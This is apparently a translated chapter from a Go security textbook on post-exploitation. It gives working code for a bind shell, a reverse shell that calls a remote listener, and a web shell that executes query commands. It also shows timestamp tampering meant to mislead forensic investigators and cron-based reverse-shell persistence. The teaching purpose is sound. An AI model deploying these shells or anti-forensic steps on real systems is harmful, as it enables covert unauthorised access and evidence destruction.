Skip to content

Latest commit

 

History

History
496 lines (375 loc) · 22.6 KB

13.md

File metadata and controls

496 lines (375 loc) · 22.6 KB

十三、实现漏洞利用

后利用是指渗透测试的一个阶段,其中一台机器已经被利用,代码执行可用。主要任务通常是保持持久性,以便您可以保持连接处于活动状态,或留下稍后重新连接的方法。本章介绍一些常见的持久性技术;即绑定壳、反向绑定壳和腹板壳。我们还将研究交叉编译,这在从单个主机编译不同操作系统的 shell 时非常有用。

利用漏洞后阶段的其他目标包括查找敏感数据、更改文件以及隐藏您的轨迹,以便法医调查员无法找到证据。您可以通过更改文件的时间戳、修改权限、禁用 shell 历史记录和删除日志来覆盖跟踪。本章介绍一些查找有趣文件和覆盖轨迹的技术。

第 4 章法医学密切相关,因为进行法医调查与探索新开发的机器没有太大区别。这两项任务都是关于学习系统上的内容和查找感兴趣的文件。类似地,第 5 章包捕获和注入对于从受攻击主机进行网络分析非常有用。许多工具,如查找大文件或查找最近修改的文件,在此阶段也很有用。请参阅第 4 章取证第 5 章数据包捕获和注入,了解更多可在后开发阶段使用的示例。

后利用阶段涵盖各种任务,包括权限提升、数据透视、窃取或销毁数据以及主机和网络分析。由于范围非常广泛,并且根据您所使用的系统类型而变化很大,因此本章重点介绍在大多数场景中应该有用的一小部分主题。

When going through these exercises, try to look at things from the perspective of an attacker. Taking on this mindset while working through the examples will help you understand how to better protect your systems.

在本章中,我们将介绍以下主题:

  • 交叉编译
  • 绑壳
  • 反向绑定外壳
  • 网壳
  • 查找具有写入权限的文件
  • 修改文件时间戳
  • 修改文件权限
  • 修改文件所有权

交叉编译

交叉编译是 Go 附带的一项功能,非常易于使用。如果您在一台 Linux 机器上执行渗透测试,并且需要编译一个自定义的反向 shell,该 shell 将在您入侵的 Windows 机器上运行,那么它会特别有用。

您可以针对多个体系结构和操作系统,只需修改一个环境变量。不需要任何额外的工具或编译器。所有东西都是内置的。

只需更改GOARCHGOOS环境变量,以匹配所需的构建目标。您可以为 Windows、Mac、Linux 等构建。您还可以为著名的 32 位和 64 位桌面处理器以及用于 Raspberry Pi 等设备的 ARM 和 MIPS 构建。

在撰写本文时,GOARCH的可能值如下:

| 386 | amd64 | | amd64p32 | arm | | armbe | arm64 | | arm64be | ppc64 | | ppc64le | mips | | mipsle | mips64 | | mips64le | mips64p32 | | mips64p32le | ppc | | s390 | s390x | | sparc | sparc64 |

GOOS的选项如下:

| android | darwin | | dragonfly | freebsd | | linux | nacl | | netbsd | openbsd | | plan9 | solaris | | windows | zos |

请注意,并非每个体系结构都可以用于每个操作系统。参考 Go 官方文件(https://golang.org/doc/install/source#environment 了解哪些架构和操作系统可以组合。

If you are targeting the ARM platform, you can optionally specify the ARM version by setting the GOARM environment variable. A reasonable default is chosen automatically, and it is recommended that you do not change it. The possible GOARM values are 5, 6, and 7, at the time of this writing.

在 Windows 中,在命令提示符下设置环境变量,如下所示:

Set GOOS=linux
Set GOARCH=amd64
go build myapp

在 Linux/Mac 中,您还可以通过多种方式设置环境变量,但您可以为单个构建命令指定环境变量,如下所示:

GOOS=windows GOARCH=amd64 go build mypackage  

阅读更多关于环境变量和交叉编译的信息 https://golang.org/doc/install/source#environment

这种交叉编译方法是在 Go 1.5 中介绍的。在此之前,Go 开发人员提供了一个 shell 脚本,但它不再受支持,并在存档 https://github.com/davecheney/golang-crosscompile/tree/archive

创建绑定壳

绑定外壳程序是绑定到端口并侦听连接和服务外壳程序的程序。无论何时接收到连接,它都运行一个 shell(如 Bash),并将标准输入、输出和错误句柄传递给远程连接。它可以永远监听并为多个传入连接提供 shell。

当您希望向计算机添加持久访问权限时,绑定 shell 非常有用。您可以运行绑定 shell,然后通过远程代码执行漏洞断开绑定 shell 或将其注入内存。

绑定 shell 的最大问题是防火墙和 NAT 路由可能会阻止直接远程访问计算机。传入连接通常以阻止连接到绑定外壳的方式被阻止或路由。因此,经常使用反向绑定壳。下一节将介绍反向绑定壳。

在 Windows 上编译此示例时,其大小为 1186 字节。考虑到用 C/Assembly 编写的一些 Shell 可能小于 100 字节,可以认为它相对较大。如果您正在开发应用,那么注入绑定 shell 的空间可能非常有限。您可以通过省略log包、删除可选的命令行参数和忽略错误来缩小示例。

通过将net.Listen()tls.Listen()交换,可以使用 TLS 代替明文。第 6 章加密中有一个 TLS 客户端和服务器的示例。

接口是 Go 的一个强大功能,这里的读者和作者接口就说明了它们的方便性。满足读写器接口的唯一要求是分别为类型实现.Read().Write()功能。这里,网络连接实现了Read()Write()功能,exec.Command也是如此。由于读写器接口实现了共享接口,因此我们可以轻松地将读写器接口连接在一起。

在下一个示例中,我们将使用内置的/bin/shshell 为 Linux 创建绑定 shell。它将绑定并侦听连接,为连接的任何人提供 shell:

// Call back to a remote server and open a shell session
package main

import (
   "fmt"
   "log"
   "net"
   "os"
   "os/exec"
)

var shell = "/bin/sh"

func main() {
   // Handle command line arguments
   if len(os.Args) != 2 {
      fmt.Println("Usage: " + os.Args[0] + " <bindAddress>")
      fmt.Println("Example: " + os.Args[0] + " 0.0.0.0:9999")
      os.Exit(1)
   }

   // Bind socket
   listener, err := net.Listen("tcp", os.Args[1])
   if err != nil {
      log.Fatal("Error connecting. ", err)
   }
   log.Println("Now listening for connections.")

   // Listen and serve shells forever
   for {
      conn, err := listener.Accept()
      if err != nil {
         log.Println("Error accepting connection. ", err)
      }
      go handleConnection(conn)
   }

}

// This function gets executed in a thread for each incoming connection
func handleConnection(conn net.Conn) {
   log.Printf("Connection received from %s. Opening shell.", 
   conn.RemoteAddr())
   conn.Write([]byte("Connection established. Opening shell.\n"))

   // Use the reader/writer interface to connect the pipes
   command := exec.Command(shell)
   command.Stdin = conn
   command.Stdout = conn
   command.Stderr = conn
   command.Run()

   log.Printf("Shell ended for %s", conn.RemoteAddr())
} 

创建反向绑定壳

反向绑定 shell 克服了防火墙和 NAT 问题。它不监听传入的连接,而是拨出到远程服务器(您控制并正在监听的服务器)。当你在你的机器上建立连接时,你有一个外壳在防火墙后面的计算机上运行。

本例使用纯文本 TCP 套接字,但您可以轻松地将net.Dial()tls.Dial()交换。第 6 章加密中有 TLS 客户端和服务器的示例,如果您想修改这些示例以使用 TLS。

// Call back to a remote server and open a shell session
package main

import (
   "fmt"
   "log"
   "net"
   "os"
   "os/exec"
)

var shell = "/bin/sh"

func main() {
   // Handle command line arguments
   if len(os.Args) < 2 {
      fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>")
      fmt.Println("Example: " + os.Args[0] + " 192.168.0.27:9999")
      os.Exit(1)
   }

   // Connect to remote listener
   remoteConn, err := net.Dial("tcp", os.Args[1])
   if err != nil {
      log.Fatal("Error connecting. ", err)
   }
   log.Println("Connection established. Launching shell.")

   command := exec.Command(shell)
   // Take advantage of reader/writer interfaces to tie inputs/outputs
   command.Stdin = remoteConn
   command.Stdout = remoteConn
   command.Stderr = remoteConn
   command.Run()
} 

创建 web shell

web shell 类似于绑定 shell,但它不是作为原始 TCP 套接字进行侦听,而是作为 HTTP 服务器进行侦听和通信。这是一种创建对机器的持久访问的有用方法。

可能需要 web 外壳的一个原因是防火墙或其他网络限制。HTTP 流量的处理方式可能与其他流量不同。有时,80443端口是唯一允许通过防火墙的端口。一些网络可能会检查流量,以确保只允许 HTTP 格式的请求通过。

请记住,使用纯 HTTP 意味着可以用纯文本记录流量。HTTPS 可用于加密流量,但 SSL 证书和密钥将驻留在服务器上,以便服务器管理员可以访问它。要使此示例使用 SSL,您只需将http.ListenAndServe()更改为http.ListenAndServeTLS()第 9 章Web 应用中提供了一个示例。

web shell 的便利之处在于,您可以使用任何 web 浏览器和命令行工具,如curlwget。您甚至可以使用netcat手动创建 HTTP 请求。缺点是您没有真正的交互式 shell,一次只能发送一个命令。如果使用分号分隔多个命令,则可以使用一个字符串运行多个命令。

您可以在netcat中手动创建 HTTP 请求,也可以像下面这样定制 TCP 客户端:

GET /?cmd=whoami HTTP/1.0\n\n  

这类似于由 web 浏览器创建的请求。例如,如果您运行webshell localhost:8080,您可以访问端口8080上的 URL,并使用http://localhost:8080/?cmd=df运行命令。

注意,/bin/shshell 命令适用于 Linux 和 Mac。Windows 使用cmd.exe命令提示符。在 Windows 中,您可以启用 Windows Subsystem for Linux 并从 Windows 应用商店安装 Ubuntu,以便在 Linux 环境中运行所有这些 Linux 示例,而无需安装虚拟机。

在下一个示例中,WebShell 创建了一个简单的 web 服务器,用于侦听 HTTP 上的请求。当它收到请求时,它会查找名为cmdGET查询。它将执行 shell,运行提供的命令,并将结果作为 HTTP 响应返回:

package main

import (
   "fmt"
   "log"
   "net/http"
   "os"
   "os/exec"
)

var shell = "/bin/sh"
var shellArg = "-c"

func main() {
   if len(os.Args) != 2 {
      fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
      fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
      os.Exit(1)
   }

   http.HandleFunc("/", requestHandler)
   log.Println("Listening for HTTP requests.")
   err := http.ListenAndServe(os.Args[1], nil)
   if err != nil {
      log.Fatal("Error creating server. ", err)
   }
}

func requestHandler(writer http.ResponseWriter, request *http.Request) {
   // Get command to execute from GET query parameters
   cmd := request.URL.Query().Get("cmd")
   if cmd == "" {
      fmt.Fprintln(
         writer,
         "No command provided. Example: /?cmd=whoami")
      return
   }

   log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
   fmt.Fprintf(writer, "You requested command: %s\n", cmd)

   // Run the command
   command := exec.Command(shell, shellArg, cmd)
   output, err := command.Output()
   if err != nil {
      fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
   }

   // Write output of command to the response writer interface
   fmt.Fprintf(writer, "Output: \n%s\n", output)
} 

查找可写文件

一旦你进入了一个系统,你就要开始探索了。通常,您会寻找提升权限或保持持久性的方法。寻找持久性方法的一个好方法是确定哪些文件具有写权限。

您可以查看文件权限设置,查看您或每个人是否具有写入权限。您可以明确地查找模式,例如777,但更好的方法是使用位掩码,并专门查看写入权限位。

权限由几个位表示:用户权限、组权限,最后是每个人的权限。0777权限的字符串表示形式如下:-rwxrwxrwx。我们感兴趣的位是给每个人写权限的位,它由--------w-表示。

第二位是我们唯一关心的,因此我们将使用按位 AND 来用0002屏蔽文件的权限。如果该位已设置,则它将保持唯一设置的位。如果关闭,则保持关闭状态,整个值将为0。要检查组或用户的写入位,可以分别使用00200200按位和。

为了递归地搜索目录,Go 在标准库中提供了一个path/filepath包。此函数只接受一个起始目录和一个函数。它对找到的每个文件执行该功能。它所期望的函数实际上是一种特殊定义的类型。定义如下:

type WalkFunc func(path string, info os.FileInfo, err error) error  

只要您创建一个与此格式匹配的函数,您的函数将与WalkFunc类型兼容,并且可以在filepath.Walk()函数中使用。

在下一个示例中,我们将遍历起始目录并检查每个文件的文件权限。我们还将讨论子目录。当前用户可写入的任何文件都将打印到标准输出:

package main

import (
   "fmt"
   "log"
   "os"
   "path/filepath"
)

func main() {
   if len(os.Args) != 2 {
      fmt.Println("Recursively look for files with the " + 
         "write bit set for everyone.")
      fmt.Println("Usage: " + os.Args[0] + " <path>")
      fmt.Println("Example: " + os.Args[0] + " /var/log")
      os.Exit(1)
   }
   dirPath := os.Args[1]

   err := filepath.Walk(dirPath, checkFilePermissions)
   if err != nil {
      log.Fatal(err)
   }
}

func checkFilePermissions(
   path string,
   fileInfo os.FileInfo,
   err error,
) error {
   if err != nil {
      log.Print(err)
      return nil
   }

   // Bitwise operators to isolate specific bit groups
   maskedPermissions := fileInfo.Mode().Perm() & 0002
   if maskedPermissions == 0002 {
      fmt.Println("Writable: " + fileInfo.Mode().Perm().String() + 
         " " + path)
   }

   return nil
} 

更改文件时间戳

与修改文件权限的方式相同,您可以修改时间戳,使其看起来像是在过去或将来被修改过一样。这有助于掩盖你的踪迹,使其看起来像一个很久没有被访问过的文件,或者将其设置为未来的日期,以迷惑法医调查员。Goos包包含用于修改文件的实用程序。

在下一个示例中,将修改文件的时间戳,使其看起来像是在将来修改的。您可以调整futureTime变量,使文件看起来像是已修改到任何特定时间。此示例通过将 50 小时 15 分钟添加到当前时间来提供相对时间,但也可以指定绝对时间:

package main

import (
   "fmt"
   "log"
   "os"
   "time"
)

func main() {
   if len(os.Args) != 2 {
      fmt.Printf("Usage: %s <filename>", os.Args[0])
      fmt.Printf("Example: %s test.txt", os.Args[0])
      os.Exit(1)
   }

   // Change timestamp to a future time
   futureTime := time.Now().Add(50 * time.Hour).Add(15 * time.Minute)
   lastAccessTime := futureTime
   lastModifyTime := futureTime
   err := os.Chtimes(os.Args[1], lastAccessTime, lastModifyTime)
   if err != nil {
      log.Println(err)
   }
} 

更改文件权限

更改文件的权限,以便以后可以从权限较低的用户访问该文件也可能很有用。此示例演示如何使用os包更改文件权限。您可以使用os.Chmod()功能轻松更改文件权限。

此程序名为chmode.go,因此不会与大多数系统上提供的默认chmod程序冲突。其基本功能与chmod相同,但没有任何额外功能。

os.Chmod()函数很简单,但必须提供os.FileMode类型。os.FileMode类型只是uint32类型,因此您可以为其提供uint32文本(硬编码数字),或者您必须确保您提供的文件模式值被转换为os.FileMode类型。在本例中,我们将获取命令行提供的字符串值(例如,"777"),并将其转换为无符号整数。我们将告诉strconv.ParseUint()将其视为以 8 为基数的八进制数,而不是以 10 为基数的十进制数。我们还提供了strconv.ParseUint()一个 32 位的参数,这样我们就可以得到一个 32 位的数字,而不是 64 位的数字。在我们从字符串值中得到一个无符号 32 位整数后,我们将把它转换为os.FileMode类型。以下是标准库中对os.FileMode的定义:

type FileMode uint32  

在下一个示例中,文件的权限将更改为作为命令行参数提供的值。其行为类似于 Linux 中的chmod程序,并接受八进制格式的权限:

package main

import (
   "fmt"
   "log"
   "os"
   "strconv"
)

func main() {
   if len(os.Args) != 3 {
      fmt.Println("Change the permissions of a file.")
      fmt.Println("Usage: " + os.Args[0] + " <mode> <filepath>")
      fmt.Println("Example: " + os.Args[0] + " 777 test.txt")
      fmt.Println("Example: " + os.Args[0] + " 0644 test.txt")
      os.Exit(1)
   }
   mode := os.Args[1]
   filePath := os.Args[2]

   // Convert the mode value from string to uin32 to os.FileMode
   fileModeValue, err := strconv.ParseUint(mode, 8, 32)
   if err != nil {
      log.Fatal("Error converting permission string to octal value. ", 
         err)
   }
   fileMode := os.FileMode(fileModeValue)

   err = os.Chmod(filePath, fileMode)
   if err != nil {
      log.Fatal("Error changing permissions. ", err)
   }
   fmt.Println("Permissions changed for " + filePath)
} 

更改文件所有权

此程序将获取提供的文件并更改用户和组的所有权。这可以与查找您有权修改的文件的示例一起使用。

Go 在标准库中提供了os.Chown(),但它不接受用户名和组名的字符串值。用户和组必须作为整数 ID 值提供。幸运的是,Go 还附带了一个os/user包,其中包含根据名称查找 ID 的函数。这些功能是user.Lookup()user.LookupGroup()

您可以使用idwhoamigroups命令在 Linux/Mac 上查找您自己的用户和组信息。

请注意,这在 Windows 上不起作用,因为所有权的处理方式不同。下面是本例的代码实现:

package main

import (
   "fmt"
   "log"
   "os"
   "os/user"
   "strconv"
)

func main() {
   // Check command line arguments
   if len(os.Args) != 4 {
      fmt.Println("Change the owner of a file.")
      fmt.Println("Usage: " + os.Args[0] + 
         " <user> <group> <filepath>")
      fmt.Println("Example: " + os.Args[0] +
         " dano dano test.txt")
      fmt.Println("Example: sudo " + os.Args[0] + 
         " root root test.txt")
      os.Exit(1)
   }
   username := os.Args[1]
   groupname := os.Args[2]
   filePath := os.Args[3]

   // Look up user based on name and get ID
   userInfo, err := user.Lookup(username)
   if err != nil {
      log.Fatal("Error looking up user "+username+". ", err)
   }
   uid, err := strconv.Atoi(userInfo.Uid)
   if err != nil {
      log.Fatal("Error converting "+userInfo.Uid+" to integer. ", err)
   }

   // Look up group name and get group ID
   group, err := user.LookupGroup(groupname)
   if err != nil {
      log.Fatal("Error looking up group "+groupname+". ", err)
   }
   gid, err := strconv.Atoi(group.Gid)
   if err != nil {
      log.Fatal("Error converting "+group.Gid+" to integer. ", err)
   }

   fmt.Printf("Changing owner of %s to %s(%d):%s(%d).\n",
      filePath, username, uid, groupname, gid)
   os.Chown(filePath, uid, gid)
} 

总结

阅读本章后,您现在应该对攻击的后利用阶段有了更高层次的理解。通过使用这些示例并采取攻击者的思维方式,您应该对如何保护文件和网络有了更好的理解。它主要是关于持久性和信息收集。您还可以使用被利用的机器执行第 11 章主机发现和枚举中的所有示例。

绑定外壳、反向绑定外壳和 web 外壳就是攻击者用来维护持久性的技术的例子。即使您永远不需要使用绑定 shell,如果您想要识别恶意行为并确保系统安全,了解它是什么以及攻击者如何使用它也是很重要的。您可以使用第 11 章主机发现和枚举中的端口扫描示例来搜索具有侦听绑定外壳的机器。您可以使用第 5 章包捕获和注入中的包捕获来查找传出的反向绑定外壳。

查找可写文件为您提供了查看文件系统所需的工具。Walk()功能演示功能强大无比,可适用于许多用例。您可以轻松地调整它以搜索具有不同特征的文件。例如,您可能希望缩小搜索范围以查找 root 拥有但也可写入的文件,或者希望查找具有特定扩展名的文件。

在您刚刚访问的机器上,您还会寻找其他什么东西?一旦您断开连接,您能想出其他方法重新获得访问权限吗?Cron 作业是执行代码的一种方式,如果您找到一个 Cron 作业,它执行您有写访问权的脚本。如果您能够修改 cron 脚本,那么您可能每天都有一个反向 shell 调用,这样您就不必维护活动会话,而使用netstat等工具来识别已建立的连接更容易找到活动会话。

Remember, be responsible whenever testing or performing a penetration test. Even if you have a full scope, it is imperative that you understand the possible consequences of any actions you take. For example, if you are performing a penetration test for a client, and you have full scope, you may find a vulnerability on a production system. You may consider installing a bind shell backdoor to prove you can maintain persistence. If we consider a production server that faces the internet, it would be very irresponsible to leave a bind shell open to the whole internet with no encryption and no password on a production system. If you are ever unsure about the repercussions of certain software or certain commands, don't be afraid to ask others who are knowledgeable.

在下一章中,我们将重述您在本书中学到的主题。我将提供更多关于使用 Go for security 的想法,我希望您能从本书中了解到这一点,我们将讨论从这里到哪里以及在哪里寻求帮助。我们还将再次反思使用本书中的信息所涉及的法律、道德和技术界限。